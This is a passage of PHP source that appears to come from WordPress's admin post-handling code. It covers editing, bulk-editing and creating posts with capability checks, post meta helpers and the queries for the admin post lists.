if ( isset( $post_data['ID'] ) ) {
		$post_id = $post_data['ID'];
	} else {
		$post_id = false;
	}
	$previous_status = $post_id ? get_post_field( 'post_status', $post_id ) : false;

if ( isset( $post_data['post_status'] ) && 'private' === $post_data['post_status'] && ! current_user_can( $ptype->cap->publish_posts ) ) {
		$post_data['post_status'] = $previous_status ? $previous_status : 'pending';
	}

$published_statuses = array( 'publish', 'future' );

// Posts 'submitted for approval' are submitted to $_POST the same as if they were being published.
	// Change status from 'publish' to 'pending' if user lacks permissions to publish or to resave published posts.
	if ( isset( $post_data['post_status'] )
		&& ( in_array( $post_data['post_status'], $published_statuses, true )
		&& ! current_user_can( $ptype->cap->publish_posts ) )
	) {
		if ( ! in_array( $previous_status, $published_statuses, true ) || ! current_user_can( 'edit_post', $post_id ) ) {
			$post_data['post_status'] = 'pending';
		}
	}

if ( ! isset( $post_data['post_status'] ) ) {
		$post_data['post_status'] = 'auto-draft' === $previous_status ? 'draft' : $previous_status;
	}

if ( isset( $post_data['post_password'] ) && ! current_user_can( $ptype->cap->publish_posts ) ) {
		unset( $post_data['post_password'] );
	}

if ( ! isset( $post_data['comment_status'] ) ) {
		$post_data['comment_status'] = 'closed';
	}

if ( ! isset( $post_data['ping_status'] ) ) {
		$post_data['ping_status'] = 'closed';
	}

foreach ( array( 'aa', 'mm', 'jj', 'hh', 'mn' ) as $timeunit ) {
		if ( ! empty( $post_data[ 'hidden_' . $timeunit ] ) && $post_data[ 'hidden_' . $timeunit ] != $post_data[ $timeunit ] ) {
			$post_data['edit_date'] = '1';
			break;
		}
	}

if ( ! empty( $post_data['edit_date'] ) ) {
		$aa                     = $post_data['aa'];
		$mm                     = $post_data['mm'];
		$jj                     = $post_data['jj'];
		$hh                     = $post_data['hh'];
		$mn                     = $post_data['mn'];
		$ss                     = $post_data['ss'];
		$aa                     = ( $aa <= 0 ) ? gmdate( 'Y' ) : $aa;
		$mm                     = ( $mm <= 0 ) ? gmdate( 'n' ) : $mm;
		$jj                     = ( $jj > 31 ) ? 31 : $jj;
		$jj                     = ( $jj <= 0 ) ? gmdate( 'j' ) : $jj;
		$hh                     = ( $hh > 23 ) ? $hh - 24 : $hh;
		$mn                     = ( $mn > 59 ) ? $mn - 60 : $mn;
		$ss                     = ( $ss > 59 ) ? $ss - 60 : $ss;
		$post_data['post_date'] = sprintf( '%04d-%02d-%02d %02d:%02d:%02d', $aa, $mm, $jj, $hh, $mn, $ss );
		$valid_date             = wp_checkdate( $mm, $jj, $aa, $post_data['post_date'] );
		if ( ! $valid_date ) {
			return new WP_Error( 'invalid_date', __( 'Invalid date.' ) );
		}
		$post_data['post_date_gmt'] = get_gmt_from_date( $post_data['post_date'] );
	}

if ( isset( $post_data['post_category'] ) ) {
		$category_object = get_taxonomy( 'category' );
		if ( ! current_user_can( $category_object->cap->assign_terms ) ) {
			unset( $post_data['post_category'] );
		}
	}

return $post_data;
}

/**
 * Returns only allowed post data fields
 *
 * @since 5.0.1
 *
 * @param array $post_data Array of post data. Defaults to the contents of $_POST.
 * @return array|WP_Error Array of post data on success, WP_Error on failure.
 */
function _wp_get_allowed_postdata( $post_data = null ) {
	if ( empty( $post_data ) ) {
		$post_data = $_POST;
	}

// Pass through errors.
	if ( is_wp_error( $post_data ) ) {
		return $post_data;
	}

return array_diff_key( $post_data, array_flip( array( 'meta_input', 'file', 'guid' ) ) );
}

/**
 * Update an existing post with values provided in $_POST.
 *
 * If post data is passed as an argument, it is treated as an array of data
 * keyed appropriately for turning into a post object.
 *
 * If post data is not passed, the $_POST global variable is used instead.
 *
 * @since 1.5.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param array $post_data Optional. Defaults to the $_POST global.
 * @return int Post ID.
 */
function edit_post( $post_data = null ) {
	global $wpdb;

if ( empty( $post_data ) ) {
		$post_data = &$_POST;
	}

// Clear out any data in internal vars.
	unset( $post_data['filter'] );

$post_ID                     = (int) $post_data['post_ID'];
	$post                        = get_post( $post_ID );
	$post_data['post_type']      = $post->post_type;
	$post_data['post_mime_type'] = $post->post_mime_type;

if ( ! empty( $post_data['post_status'] ) ) {
		$post_data['post_status'] = sanitize_key( $post_data['post_status'] );

if ( 'inherit' === $post_data['post_status'] ) {
			unset( $post_data['post_status'] );
		}
	}

$ptype = get_post_type_object( $post_data['post_type'] );
	if ( ! current_user_can( 'edit_post', $post_ID ) ) {
		if ( 'page' === $post_data['post_type'] ) {
			wp_die( __( 'Sorry, you are not allowed to edit this page.' ) );
		} else {
			wp_die( __( 'Sorry, you are not allowed to edit this post.' ) );
		}
	}

if ( post_type_supports( $ptype->name, 'revisions' ) ) {
		$revisions = wp_get_post_revisions(
			$post_ID,
			array(
				'order'          => 'ASC',
				'posts_per_page' => 1,
			)
		);
		$revision  = current( $revisions );

// Check if the revisions have been upgraded.
		if ( $revisions && _wp_get_post_revision_version( $revision ) < 1 ) {
			_wp_upgrade_revisions_of_post( $post, wp_get_post_revisions( $post_ID ) );
		}
	}

if ( isset( $post_data['visibility'] ) ) {
		switch ( $post_data['visibility'] ) {
			case 'public':
				$post_data['post_password'] = '';
				break;
			case 'password':
				unset( $post_data['sticky'] );
				break;
			case 'private':
				$post_data['post_status']   = 'private';
				$post_data['post_password'] = '';
				unset( $post_data['sticky'] );
				break;
		}
	}

$post_data = _wp_translate_postdata( true, $post_data );
	if ( is_wp_error( $post_data ) ) {
		wp_die( $post_data->get_error_message() );
	}
	$translated = _wp_get_allowed_postdata( $post_data );

// Post formats.
	if ( isset( $post_data['post_format'] ) ) {
		set_post_format( $post_ID, $post_data['post_format'] );
	}

$format_meta_urls = array( 'url', 'link_url', 'quote_source_url' );
	foreach ( $format_meta_urls as $format_meta_url ) {
		$keyed = '_format_' . $format_meta_url;
		if ( isset( $post_data[ $keyed ] ) ) {
			update_post_meta( $post_ID, $keyed, wp_slash( esc_url_raw( wp_unslash( $post_data[ $keyed ] ) ) ) );
		}
	}

$format_keys = array( 'quote', 'quote_source_name', 'image', 'gallery', 'audio_embed', 'video_embed' );

foreach ( $format_keys as $key ) {
		$keyed = '_format_' . $key;
		if ( isset( $post_data[ $keyed ] ) ) {
			if ( current_user_can( 'unfiltered_html' ) ) {
				update_post_meta( $post_ID, $keyed, $post_data[ $keyed ] );
			} else {
				update_post_meta( $post_ID, $keyed, wp_filter_post_kses( $post_data[ $keyed ] ) );
			}
		}
	}

if ( 'attachment' === $post_data['post_type'] && preg_match( '#^(audio|video)/#', $post_data['post_mime_type'] ) ) {
		$id3data = wp_get_attachment_metadata( $post_ID );
		if ( ! is_array( $id3data ) ) {
			$id3data = array();
		}

foreach ( wp_get_attachment_id3_keys( $post, 'edit' ) as $key => $label ) {
			if ( isset( $post_data[ 'id3_' . $key ] ) ) {
				$id3data[ $key ] = sanitize_text_field( wp_unslash( $post_data[ 'id3_' . $key ] ) );
			}
		}
		wp_update_attachment_metadata( $post_ID, $id3data );
	}

// Meta stuff.
	if ( isset( $post_data['meta'] ) && $post_data['meta'] ) {
		foreach ( $post_data['meta'] as $key => $value ) {
			$meta = get_post_meta_by_id( $key );
			if ( ! $meta ) {
				continue;
			}
			if ( $meta->post_id != $post_ID ) {
				continue;
			}
			if ( is_protected_meta( $meta->meta_key, 'post' ) || ! current_user_can( 'edit_post_meta', $post_ID, $meta->meta_key ) ) {
				continue;
			}
			if ( is_protected_meta( $value['key'], 'post' ) || ! current_user_can( 'edit_post_meta', $post_ID, $value['key'] ) ) {
				continue;
			}
			update_meta( $key, $value['key'], $value['value'] );
		}
	}

if ( isset( $post_data['deletemeta'] ) && $post_data['deletemeta'] ) {
		foreach ( $post_data['deletemeta'] as $key => $value ) {
			$meta = get_post_meta_by_id( $key );
			if ( ! $meta ) {
				continue;
			}
			if ( $meta->post_id != $post_ID ) {
				continue;
			}
			if ( is_protected_meta( $meta->meta_key, 'post' ) || ! current_user_can( 'delete_post_meta', $post_ID, $meta->meta_key ) ) {
				continue;
			}
			delete_meta( $key );
		}
	}

// Attachment stuff.
	if ( 'attachment' === $post_data['post_type'] ) {
		if ( isset( $post_data['_wp_attachment_image_alt'] ) ) {
			$image_alt = wp_unslash( $post_data['_wp_attachment_image_alt'] );

if ( get_post_meta( $post_ID, '_wp_attachment_image_alt', true ) !== $image_alt ) {
				$image_alt = wp_strip_all_tags( $image_alt, true );

// update_post_meta() expects slashed.
				update_post_meta( $post_ID, '_wp_attachment_image_alt', wp_slash( $image_alt ) );
			}
		}

$attachment_data = isset( $post_data['attachments'][ $post_ID ] ) ? $post_data['attachments'][ $post_ID ] : array();

/** This filter is documented in wp-admin/includes/media.php */
		$translated = apply_filters( 'attachment_fields_to_save', $translated, $attachment_data );
	}

// Convert taxonomy input to term IDs, to avoid ambiguity.
	if ( isset( $post_data['tax_input'] ) ) {
		foreach ( (array) $post_data['tax_input'] as $taxonomy => $terms ) {
			$tax_object = get_taxonomy( $taxonomy );

if ( $tax_object && isset( $tax_object->meta_box_sanitize_cb ) ) {
				$translated['tax_input'][ $taxonomy ] = call_user_func_array( $tax_object->meta_box_sanitize_cb, array( $taxonomy, $terms ) );
			}
		}
	}

add_meta( $post_ID );

update_post_meta( $post_ID, '_edit_last', get_current_user_id() );

$success = wp_update_post( $translated );

// If the save failed, see if we can sanity check the main fields and try again.
	if ( ! $success && is_callable( array( $wpdb, 'strip_invalid_text_for_column' ) ) ) {
		$fields = array( 'post_title', 'post_content', 'post_excerpt' );

foreach ( $fields as $field ) {
			if ( isset( $translated[ $field ] ) ) {
				$translated[ $field ] = $wpdb->strip_invalid_text_for_column( $wpdb->posts, $field, $translated[ $field ] );
			}
		}

wp_update_post( $translated );
	}

// Now that we have an ID we can fix any attachment anchor hrefs.
	_fix_attachment_links( $post_ID );

wp_set_post_lock( $post_ID );

if ( current_user_can( $ptype->cap->edit_others_posts ) && current_user_can( $ptype->cap->publish_posts ) ) {
		if ( ! empty( $post_data['sticky'] ) ) {
			stick_post( $post_ID );
		} else {
			unstick_post( $post_ID );
		}
	}

return $post_ID;
}

/**
 * Process the post data for the bulk editing of posts.
 *
 * Updates all bulk edited posts/pages, adding (but not removing) tags and
 * categories. Skips pages when they would be their own parent or child.
 *
 * @since 2.7.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param array $post_data Optional, the array of post data to process if not provided will use $_POST superglobal.
 * @return array
 */
function bulk_edit_posts( $post_data = null ) {
	global $wpdb;

if ( empty( $post_data ) ) {
		$post_data = &$_POST;
	}

if ( isset( $post_data['post_type'] ) ) {
		$ptype = get_post_type_object( $post_data['post_type'] );
	} else {
		$ptype = get_post_type_object( 'post' );
	}

if ( ! current_user_can( $ptype->cap->edit_posts ) ) {
		if ( 'page' === $ptype->name ) {
			wp_die( __( 'Sorry, you are not allowed to edit pages.' ) );
		} else {
			wp_die( __( 'Sorry, you are not allowed to edit posts.' ) );
		}
	}

if ( -1 == $post_data['_status'] ) {
		$post_data['post_status'] = null;
		unset( $post_data['post_status'] );
	} else {
		$post_data['post_status'] = $post_data['_status'];
	}
	unset( $post_data['_status'] );

if ( ! empty( $post_data['post_status'] ) ) {
		$post_data['post_status'] = sanitize_key( $post_data['post_status'] );

if ( 'inherit' === $post_data['post_status'] ) {
			unset( $post_data['post_status'] );
		}
	}

$post_IDs = array_map( 'intval', (array) $post_data['post'] );

$reset = array(
		'post_author',
		'post_status',
		'post_password',
		'post_parent',
		'page_template',
		'comment_status',
		'ping_status',
		'keep_private',
		'tax_input',
		'post_category',
		'sticky',
		'post_format',
	);

foreach ( $reset as $field ) {
		if ( isset( $post_data[ $field ] ) && ( '' === $post_data[ $field ] || -1 == $post_data[ $field ] ) ) {
			unset( $post_data[ $field ] );
		}
	}

if ( isset( $post_data['post_category'] ) ) {
		if ( is_array( $post_data['post_category'] ) && ! empty( $post_data['post_category'] ) ) {
			$new_cats = array_map( 'absint', $post_data['post_category'] );
		} else {
			unset( $post_data['post_category'] );
		}
	}

$tax_input = array();
	if ( isset( $post_data['tax_input'] ) ) {
		foreach ( $post_data['tax_input'] as $tax_name => $terms ) {
			if ( empty( $terms ) ) {
				continue;
			}
			if ( is_taxonomy_hierarchical( $tax_name ) ) {
				$tax_input[ $tax_name ] = array_map( 'absint', $terms );
			} else {
				$comma = _x( ',', 'tag delimiter' );
				if ( ',' !== $comma ) {
					$terms = str_replace( $comma, ',', $terms );
				}
				$tax_input[ $tax_name ] = explode( ',', trim( $terms, " \n\t\r\0\x0B," ) );
			}
		}
	}

if ( isset( $post_data['post_parent'] ) && (int) $post_data['post_parent'] ) {
		$parent   = (int) $post_data['post_parent'];
		$pages    = $wpdb->get_results( "SELECT ID, post_parent FROM $wpdb->posts WHERE post_type = 'page'" );
		$children = array();

for ( $i = 0; $i < 50 && $parent > 0; $i++ ) {
			$children[] = $parent;

foreach ( $pages as $page ) {
				if ( (int) $page->ID === $parent ) {
					$parent = (int) $page->post_parent;
					break;
				}
			}
		}
	}

$updated          = array();
	$skipped          = array();
	$locked           = array();
	$shared_post_data = $post_data;

foreach ( $post_IDs as $post_ID ) {
		// Start with fresh post data with each iteration.
		$post_data = $shared_post_data;

$post_type_object = get_post_type_object( get_post_type( $post_ID ) );

if ( ! isset( $post_type_object )
			|| ( isset( $children ) && in_array( $post_ID, $children, true ) )
			|| ! current_user_can( 'edit_post', $post_ID )
		) {
			$skipped[] = $post_ID;
			continue;
		}

if ( wp_check_post_lock( $post_ID ) ) {
			$locked[] = $post_ID;
			continue;
		}

$post      = get_post( $post_ID );
		$tax_names = get_object_taxonomies( $post );
		foreach ( $tax_names as $tax_name ) {
			$taxonomy_obj = get_taxonomy( $tax_name );
			if ( isset( $tax_input[ $tax_name ] ) && current_user_can( $taxonomy_obj->cap->assign_terms ) ) {
				$new_terms = $tax_input[ $tax_name ];
			} else {
				$new_terms = array();
			}

if ( $taxonomy_obj->hierarchical ) {
				$current_terms = (array) wp_get_object_terms( $post_ID, $tax_name, array( 'fields' => 'ids' ) );
			} else {
				$current_terms = (array) wp_get_object_terms( $post_ID, $tax_name, array( 'fields' => 'names' ) );
			}

$post_data['tax_input'][ $tax_name ] = array_merge( $current_terms, $new_terms );
		}

if ( isset( $new_cats ) && in_array( 'category', $tax_names, true ) ) {
			$cats                       = (array) wp_get_post_categories( $post_ID );
			$post_data['post_category'] = array_unique( array_merge( $cats, $new_cats ) );
			unset( $post_data['tax_input']['category'] );
		}

$post_data['post_ID']        = $post_ID;
		$post_data['post_type']      = $post->post_type;
		$post_data['post_mime_type'] = $post->post_mime_type;

foreach ( array( 'comment_status', 'ping_status', 'post_author' ) as $field ) {
			if ( ! isset( $post_data[ $field ] ) ) {
				$post_data[ $field ] = $post->$field;
			}
		}

$post_data = _wp_translate_postdata( true, $post_data );
		if ( is_wp_error( $post_data ) ) {
			$skipped[] = $post_ID;
			continue;
		}
		$post_data = _wp_get_allowed_postdata( $post_data );

if ( isset( $shared_post_data['post_format'] ) ) {
			set_post_format( $post_ID, $shared_post_data['post_format'] );
		}

// Prevent wp_insert_post() from overwriting post format with the old data.
		unset( $post_data['tax_input']['post_format'] );

$updated[] = wp_update_post( $post_data );

if ( isset( $post_data['sticky'] ) && current_user_can( $ptype->cap->edit_others_posts ) ) {
			if ( 'sticky' === $post_data['sticky'] ) {
				stick_post( $post_ID );
			} else {
				unstick_post( $post_ID );
			}
		}
	}

return array(
		'updated' => $updated,
		'skipped' => $skipped,
		'locked'  => $locked,
	);
}

/**
 * Default post information to use when populating the "Write Post" form.
 *
 * @since 2.0.0
 *
 * @param string $post_type    Optional. A post type string. Default 'post'.
 * @param bool   $create_in_db Optional. Whether to insert the post into database. Default false.
 * @return WP_Post Post object containing all the default post data as attributes
 */
function get_default_post_to_edit( $post_type = 'post', $create_in_db = false ) {
	$post_title = '';
	if ( ! empty( $_REQUEST['post_title'] ) ) {
		$post_title = esc_html( wp_unslash( $_REQUEST['post_title'] ) );
	}

$post_content = '';
	if ( ! empty( $_REQUEST['content'] ) ) {
		$post_content = esc_html( wp_unslash( $_REQUEST['content'] ) );
	}

$post_excerpt = '';
	if ( ! empty( $_REQUEST['excerpt'] ) ) {
		$post_excerpt = esc_html( wp_unslash( $_REQUEST['excerpt'] ) );
	}

if ( $create_in_db ) {
		$post_id = wp_insert_post(
			array(
				'post_title'  => __( 'Auto Draft' ),
				'post_type'   => $post_type,
				'post_status' => 'auto-draft',
			)
		);
		$post    = get_post( $post_id );
		if ( current_theme_supports( 'post-formats' ) && post_type_supports( $post->post_type, 'post-formats' ) && get_option( 'default_post_format' ) ) {
			set_post_format( $post, get_option( 'default_post_format' ) );
		}

// Schedule auto-draft cleanup.
		if ( ! wp_next_scheduled( 'wp_scheduled_auto_draft_delete' ) ) {
			wp_schedule_event( time(), 'daily', 'wp_scheduled_auto_draft_delete' );
		}
	} else {
		$post                 = new stdClass;
		$post->ID             = 0;
		$post->post_author    = '';
		$post->post_date      = '';
		$post->post_date_gmt  = '';
		$post->post_password  = '';
		$post->post_name      = '';
		$post->post_type      = $post_type;
		$post->post_status    = 'draft';
		$post->to_ping        = '';
		$post->pinged         = '';
		$post->comment_status = get_default_comment_status( $post_type );
		$post->ping_status    = get_default_comment_status( $post_type, 'pingback' );
		$post->post_pingback  = get_option( 'default_pingback_flag' );
		$post->post_category  = get_option( 'default_category' );
		$post->page_template  = 'default';
		$post->post_parent    = 0;
		$post->menu_order     = 0;
		$post                 = new WP_Post( $post );
	}

/**
	 * Filters the default post content initially used in the "Write Post" form.
	 *
	 * @since 1.5.0
	 *
	 * @param string  $post_content Default post content.
	 * @param WP_Post $post         Post object.
	 */
	$post->post_content = (string) apply_filters( 'default_content', $post_content, $post );

/**
	 * Filters the default post title initially used in the "Write Post" form.
	 *
	 * @since 1.5.0
	 *
	 * @param string  $post_title Default post title.
	 * @param WP_Post $post       Post object.
	 */
	$post->post_title = (string) apply_filters( 'default_title', $post_title, $post );

/**
	 * Filters the default post excerpt initially used in the "Write Post" form.
	 *
	 * @since 1.5.0
	 *
	 * @param string  $post_excerpt Default post excerpt.
	 * @param WP_Post $post         Post object.
	 */
	$post->post_excerpt = (string) apply_filters( 'default_excerpt', $post_excerpt, $post );

return $post;
}

/**
 * Determines if a post exists based on title, content, date and type.
 *
 * @since 2.0.0
 * @since 5.2.0 Added the `$type` parameter.
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string $title   Post title.
 * @param string $content Optional post content.
 * @param string $date    Optional post date.
 * @param string $type    Optional post type.
 * @return int Post ID if post exists, 0 otherwise.
 */
function post_exists( $title, $content = '', $date = '', $type = '' ) {
	global $wpdb;

$post_title   = wp_unslash( sanitize_post_field( 'post_title', $title, 0, 'db' ) );
	$post_content = wp_unslash( sanitize_post_field( 'post_content', $content, 0, 'db' ) );
	$post_date    = wp_unslash( sanitize_post_field( 'post_date', $date, 0, 'db' ) );
	$post_type    = wp_unslash( sanitize_post_field( 'post_type', $type, 0, 'db' ) );

$query = "SELECT ID FROM $wpdb->posts WHERE 1=1";
	$args  = array();

if ( ! empty( $date ) ) {
		$query .= ' AND post_date = %s';
		$args[] = $post_date;
	}

if ( ! empty( $title ) ) {
		$query .= ' AND post_title = %s';
		$args[] = $post_title;
	}

if ( ! empty( $content ) ) {
		$query .= ' AND post_content = %s';
		$args[] = $post_content;
	}

if ( ! empty( $type ) ) {
		$query .= ' AND post_type = %s';
		$args[] = $post_type;
	}

if ( ! empty( $args ) ) {
		return (int) $wpdb->get_var( $wpdb->prepare( $query, $args ) );
	}

return 0;
}

/**
 * Creates a new post from the "Write Post" form using $_POST information.
 *
 * @since 2.1.0
 *
 * @global WP_User $current_user
 *
 * @return int|WP_Error
 */
function wp_write_post() {
	if ( isset( $_POST['post_type'] ) ) {
		$ptype = get_post_type_object( $_POST['post_type'] );
	} else {
		$ptype = get_post_type_object( 'post' );
	}

if ( ! current_user_can( $ptype->cap->edit_posts ) ) {
		if ( 'page' === $ptype->name ) {
			return new WP_Error( 'edit_pages', __( 'Sorry, you are not allowed to create pages on this site.' ) );
		} else {
			return new WP_Error( 'edit_posts', __( 'Sorry, you are not allowed to create posts or drafts on this site.' ) );
		}
	}

$_POST['post_mime_type'] = '';

// Clear out any data in internal vars.
	unset( $_POST['filter'] );

// Edit, don't write, if we have a post ID.
	if ( isset( $_POST['post_ID'] ) ) {
		return edit_post();
	}

if ( isset( $_POST['visibility'] ) ) {
		switch ( $_POST['visibility'] ) {
			case 'public':
				$_POST['post_password'] = '';
				break;
			case 'password':
				unset( $_POST['sticky'] );
				break;
			case 'private':
				$_POST['post_status']   = 'private';
				$_POST['post_password'] = '';
				unset( $_POST['sticky'] );
				break;
		}
	}

$translated = _wp_translate_postdata( false );
	if ( is_wp_error( $translated ) ) {
		return $translated;
	}
	$translated = _wp_get_allowed_postdata( $translated );

// Create the post.
	$post_ID = wp_insert_post( $translated );
	if ( is_wp_error( $post_ID ) ) {
		return $post_ID;
	}

if ( empty( $post_ID ) ) {
		return 0;
	}

add_meta( $post_ID );

add_post_meta( $post_ID, '_edit_last', $GLOBALS['current_user']->ID );

// Now that we have an ID we can fix any attachment anchor hrefs.
	_fix_attachment_links( $post_ID );

wp_set_post_lock( $post_ID );

return $post_ID;
}

/**
 * Calls wp_write_post() and handles the errors.
 *
 * @since 2.0.0
 *
 * @return int|null
 */
function write_post() {
	$result = wp_write_post();
	if ( is_wp_error( $result ) ) {
		wp_die( $result->get_error_message() );
	} else {
		return $result;
	}
}

//
// Post Meta.
//

/**
 * Add post meta data defined in $_POST superglobal for post with given ID.
 *
 * @since 1.2.0
 *
 * @param int $post_ID
 * @return int|bool
 */
function add_meta( $post_ID ) {
	$post_ID = (int) $post_ID;

$metakeyselect = isset( $_POST['metakeyselect'] ) ? wp_unslash( trim( $_POST['metakeyselect'] ) ) : '';
	$metakeyinput  = isset( $_POST['metakeyinput'] ) ? wp_unslash( trim( $_POST['metakeyinput'] ) ) : '';
	$metavalue     = isset( $_POST['metavalue'] ) ? $_POST['metavalue'] : '';
	if ( is_string( $metavalue ) ) {
		$metavalue = trim( $metavalue );
	}

if ( ( ( '#NONE#' !== $metakeyselect ) && ! empty( $metakeyselect ) ) || ! empty( $metakeyinput ) ) {
		/*
		 * We have a key/value pair. If both the select and the input
		 * for the key have data, the input takes precedence.
		 */
		if ( '#NONE#' !== $metakeyselect ) {
			$metakey = $metakeyselect;
		}

if ( $metakeyinput ) {
			$metakey = $metakeyinput; // Default.
		}

if ( is_protected_meta( $metakey, 'post' ) || ! current_user_can( 'add_post_meta', $post_ID, $metakey ) ) {
			return false;
		}

$metakey = wp_slash( $metakey );

return add_post_meta( $post_ID, $metakey, $metavalue );
	}

return false;
}

/**
 * Delete post meta data by meta ID.
 *
 * @since 1.2.0
 *
 * @param int $mid
 * @return bool
 */
function delete_meta( $mid ) {
	return delete_metadata_by_mid( 'post', $mid );
}

/**
 * Get a list of previously defined keys.
 *
 * @since 1.2.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @return mixed
 */
function get_meta_keys() {
	global $wpdb;

$keys = $wpdb->get_col(
		"
			SELECT meta_key
			FROM $wpdb->postmeta
			GROUP BY meta_key
			ORDER BY meta_key"
	);

return $keys;
}

/**
 * Get post meta data by meta ID.
 *
 * @since 2.1.0
 *
 * @param int $mid
 * @return object|bool
 */
function get_post_meta_by_id( $mid ) {
	return get_metadata_by_mid( 'post', $mid );
}

/**
 * Get meta data for the given post ID.
 *
 * @since 1.2.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int $postid
 * @return mixed
 */
function has_meta( $postid ) {
	global $wpdb;

return $wpdb->get_results(
		$wpdb->prepare(
			"SELECT meta_key, meta_value, meta_id, post_id
			FROM $wpdb->postmeta WHERE post_id = %d
			ORDER BY meta_key,meta_id",
			$postid
		),
		ARRAY_A
	);
}

/**
 * Update post meta data by meta ID.
 *
 * @since 1.2.0
 *
 * @param int    $meta_id
 * @param string $meta_key Expect Slashed
 * @param string $meta_value Expect Slashed
 * @return bool
 */
function update_meta( $meta_id, $meta_key, $meta_value ) {
	$meta_key   = wp_unslash( $meta_key );
	$meta_value = wp_unslash( $meta_value );

return update_metadata_by_mid( 'post', $meta_id, $meta_value, $meta_key );
}

//
// Private.
//

/**
 * Replace hrefs of attachment anchors with up-to-date permalinks.
 *
 * @since 2.3.0
 * @access private
 *
 * @param int|object $post Post ID or post object.
 * @return void|int|WP_Error Void if nothing fixed. 0 or WP_Error on update failure. The post ID on update success.
 */
function _fix_attachment_links( $post ) {
	$post    = get_post( $post, ARRAY_A );
	$content = $post['post_content'];

// Don't run if no pretty permalinks or post is not published, scheduled, or privately published.
	if ( ! get_option( 'permalink_structure' ) || ! in_array( $post['post_status'], array( 'publish', 'future', 'private' ), true ) ) {
		return;
	}

// Short if there aren't any links or no '?attachment_id=' strings (strpos cannot be zero).
	if ( ! strpos( $content, '?attachment_id=' ) || ! preg_match_all( '/<a ([^>]+)>[\s\S]+?<\/a>/', $content, $link_matches ) ) {
		return;
	}

$site_url = get_bloginfo( 'url' );
	$site_url = substr( $site_url, (int) strpos( $site_url, '://' ) ); // Remove the http(s).
	$replace  = '';

foreach ( $link_matches[1] as $key => $value ) {
		if ( ! strpos( $value, '?attachment_id=' ) || ! strpos( $value, 'wp-att-' )
			|| ! preg_match( '/href=(["\'])[^"\']*\?attachment_id=(\d+)[^"\']*\\1/', $value, $url_match )
			|| ! preg_match( '/rel=["\'][^"\']*wp-att-(\d+)/', $value, $rel_match ) ) {
				continue;
		}

$quote  = $url_match[1]; // The quote (single or double).
		$url_id = (int) $url_match[2];
		$rel_id = (int) $rel_match[1];

if ( ! $url_id || ! $rel_id || $url_id != $rel_id || strpos( $url_match[0], $site_url ) === false ) {
			continue;
		}

$link    = $link_matches[0][ $key ];
		$replace = str_replace( $url_match[0], 'href=' . $quote . get_attachment_link( $url_id ) . $quote, $link );

$content = str_replace( $link, $replace, $content );
	}

if ( $replace ) {
		$post['post_content'] = $content;
		// Escape data pulled from DB.
		$post = add_magic_quotes( $post );

return wp_update_post( $post );
	}
}

/**
 * Get all the possible statuses for a post_type
 *
 * @since 2.5.0
 *
 * @param string $type The post_type you want the statuses for. Default 'post'.
 * @return string[] An array of all the statuses for the supplied post type.
 */
function get_available_post_statuses( $type = 'post' ) {
	$stati = wp_count_posts( $type );

return array_keys( get_object_vars( $stati ) );
}

/**
 * Run the wp query to fetch the posts for listing on the edit posts page
 *
 * @since 2.5.0
 *
 * @param array|bool $q Array of query variables to use to build the query or false to use $_GET superglobal.
 * @return array
 */
function wp_edit_posts_query( $q = false ) {
	if ( false === $q ) {
		$q = $_GET;
	}
	$q['m']     = isset( $q['m'] ) ? (int) $q['m'] : 0;
	$q['cat']   = isset( $q['cat'] ) ? (int) $q['cat'] : 0;
	$post_stati = get_post_stati();

if ( isset( $q['post_type'] ) && in_array( $q['post_type'], get_post_types(), true ) ) {
		$post_type = $q['post_type'];
	} else {
		$post_type = 'post';
	}

$avail_post_stati = get_available_post_statuses( $post_type );
	$post_status      = '';
	$perm             = '';

if ( isset( $q['post_status'] ) && in_array( $q['post_status'], $post_stati, true ) ) {
		$post_status = $q['post_status'];
		$perm        = 'readable';
	}

$orderby = '';

if ( isset( $q['orderby'] ) ) {
		$orderby = $q['orderby'];
	} elseif ( isset( $q['post_status'] ) && in_array( $q['post_status'], array( 'pending', 'draft' ), true ) ) {
		$orderby = 'modified';
	}

$order = '';

if ( isset( $q['order'] ) ) {
		$order = $q['order'];
	} elseif ( isset( $q['post_status'] ) && 'pending' === $q['post_status'] ) {
		$order = 'ASC';
	}

$per_page       = "edit_{$post_type}_per_page";
	$posts_per_page = (int) get_user_option( $per_page );
	if ( empty( $posts_per_page ) || $posts_per_page < 1 ) {
		$posts_per_page = 20;
	}

/**
	 * Filters the number of items per page to show for a specific 'per_page' type.
	 *
	 * The dynamic portion of the hook name, `$post_type`, refers to the post type.
	 *
	 * Some examples of filter hooks generated here include: 'edit_attachment_per_page',
	 * 'edit_post_per_page', 'edit_page_per_page', etc.
	 *
	 * @since 3.0.0
	 *
	 * @param int $posts_per_page Number of posts to display per page for the given post
	 *                            type. Default 20.
	 */
	$posts_per_page = apply_filters( "edit_{$post_type}_per_page", $posts_per_page );

/**
	 * Filters the number of posts displayed per page when specifically listing "posts".
	 *
	 * @since 2.8.0
	 *
	 * @param int    $posts_per_page Number of posts to be displayed. Default 20.
	 * @param string $post_type      The post type.
	 */
	$posts_per_page = apply_filters( 'edit_posts_per_page', $posts_per_page, $post_type );

$query = compact( 'post_type', 'post_status', 'perm', 'order', 'orderby', 'posts_per_page' );

// Hierarchical types require special args.
	if ( is_post_type_hierarchical( $post_type ) && empty( $orderby ) ) {
		$query['orderby']                = 'menu_order title';
		$query['order']                  = 'asc';
		$query['posts_per_page']         = -1;
		$query['posts_per_archive_page'] = -1;
		$query['fields']                 = 'id=>parent';
	}

if ( ! empty( $q['show_sticky'] ) ) {
		$query['post__in'] = (array) get_option( 'sticky_posts' );
	}

wp( $query );

return $avail_post_stati;
}

/**
 * Get the query variables for the current attachments request.
 *
 * @since 4.2.0
 *
 * @param array|false $q Optional. Array of query variables to use to build the query or false
 *                       to use $_GET superglobal. Default false.
 * @return array The parsed query vars.
 */
function wp_edit_attachments_query_vars( $q = false ) {
	if ( false === $q ) {
		$q = $_GET;
	}
	$q['m']         = isset( $q['m'] ) ? (int) $q['m'] : 0;
	$q['cat']       = isset( $q['cat'] ) ? (int) $q['cat'] : 0;
	$q['post_type'] = 'attachment';
	$post_type      = get_post_type_object( 'attachment' );
	$states         = 'inherit';
	if ( current_user_can( $post_type->cap->read_private_posts ) ) {
		$states .= ',private';
	}

$q['post_status'] = isset( $q['status'] ) && 'trash' === $q['status'] ? 'trash' : $states;
